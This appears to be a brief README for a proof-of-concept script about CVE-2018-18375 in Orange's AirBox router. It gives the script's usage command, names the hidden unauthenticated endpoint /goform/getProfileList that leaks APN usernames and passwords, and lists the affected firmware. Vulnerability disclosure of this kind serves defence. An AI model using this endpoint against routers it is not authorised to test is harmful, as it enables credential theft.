Proof of Concept of AirBoxAPNLeak Vulnerability.
CVE-2018-18375
AirBoxAPNLeak.py
python AirBoxAPNLeak.py -ip 192.168.1.1
APN NAME, NUMBER ,PASSWORD, USERNAME
AirBox has hidden webpage http://192.168.1.1/goform/getProfileList?rand=
which prints detailed APN info. It can be used to steal external ip addresses.
Router: AirBox Vendor: Orange Firmware version: Y858_FL_01.16_04